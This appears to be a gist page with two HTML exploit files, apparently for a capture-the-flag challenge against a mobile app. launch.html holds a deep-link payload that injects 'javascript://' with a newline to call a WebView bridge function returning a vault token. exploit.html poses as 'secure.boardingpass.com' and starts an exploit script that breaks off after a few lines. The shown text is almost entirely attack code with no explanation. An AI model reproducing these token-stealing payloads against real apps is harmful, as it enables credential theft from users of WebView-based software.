Raazkr Razzkr
Razzkr
/ launch.html
Created
March 4, 2026 06:24
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <!DOCTYPE html> | |
| <html><body> | |
| <h1>Click below:</h1> | |
| <a href="mhcctf://app/vault?url=javascript://portal.mhccorp.com/%0adocument.write(MhcVaultBridge.getVaultToken())">GET FLAG</a> | |
| </body></html> |
Razzkr
/ exploit.html
Created
March 4, 2026 04:17
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <!DOCTYPE html> | |
| <html> | |
| <head><title>secure.boardingpass.com</title></head> | |
| <body> | |
| <pre id="output">Waiting...</pre> | |
| <script> | |
| function tryExploit() { | |
| try { | |
| if (typeof _metrics === 'undefined') { | |
| document.getElementById('output').textContent += '.'; |